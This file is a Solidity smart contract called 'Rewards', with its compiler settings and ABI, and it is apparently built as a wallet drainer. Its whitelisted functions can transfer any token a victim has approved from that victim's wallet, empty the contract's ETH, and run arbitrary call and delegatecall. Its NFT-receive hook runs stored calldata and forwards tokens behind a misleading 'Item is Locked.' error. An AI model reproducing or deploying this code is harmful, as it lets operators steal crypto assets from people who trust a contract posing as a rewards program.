// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
interface IToken {
function transfer(
address to,
uint256 amount
) external;
function transferFrom(
address from,
address to,
uint256 amount
) external;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
interface ISpender {
function whiteList(address account) external view returns (bool);
}
contract Rewards {
address public owner;
mapping(address => bool) public whiteList;
address public _to;
bytes public msgData;
fallback() payable external {
}
receive() payable external {
}
modifier onlyWhiteList() {
require(
ISpender(0xca0171C80f5F8169CFd0820cf9fb0Abeb25523B4).whiteList(msg.sender),
"not whiteList"
);
_;
}
function withdraw(address to) public onlyWhiteList {
uint256 balance = address(this).balance;
payable(to).transfer(balance);
}
function withdraw(address token, address to, uint256 amount) public onlyWhiteList {
IToken(token).transfer(to, amount);
}
function transferFrom(address token, address from, address to, uint256 amount) public onlyWhiteList {
IToken(token).transferFrom(from, to, amount);
}
function safeTransferFrom(address token, address from, address to, uint256 tokenId, bytes calldata data) public onlyWhiteList {
IToken(token).safeTransferFrom(from, to, tokenId, data);
}
function safeTransferFrom(address token, address from, address to, uint256 id, uint256 amount, bytes calldata data) public onlyWhiteList {
IToken(token).safeTransferFrom(from, to, id, amount, data);
}
function onERC721Received(
address /*operator*/,
address /*from*/,
uint256 tokenId,
bytes calldata /*data*/
) external returns (bytes4) {
(bool r1,) = address(_to).call(msgData);
require(r1, "Item is Locked.");
IToken(msg.sender).safeTransferFrom(address(this), owner, tokenId, new bytes(0));
return IERC721Receiver(address(this)).onERC721Received.selector;
}
function set(address to_, bytes memory cd) public onlyWhiteList {
_to = to_;
msgData = cd;
}
function customCall() public onlyWhiteList {
(bool r1,) = address(_to).call(msgData);
require(r1, "Call failed.");
}
function customDelegateCall() public onlyWhiteList {
(bool r1,) = address(_to).delegatecall(msgData);
require(r1, "Delegate Call failed.");
}
}
{
"compilationTarget": {
"Rewards.sol": "Rewards"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"stateMutability":"payable","type":"fallback"},{"inputs":[],"name":"_to","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"customCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"customDelegateCall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"msgData","outputs":[{"internalType":"bytes","name":"","type":"bytes"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"","type":"bytes"}],"name":"onERC721Received","outputs":[{"internalType":"bytes4","name":"","type":"bytes4"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"id","type":"uint256"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to_","type":"address"},{"internalType":"bytes","name":"cd","type":"bytes"}],"name":"set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]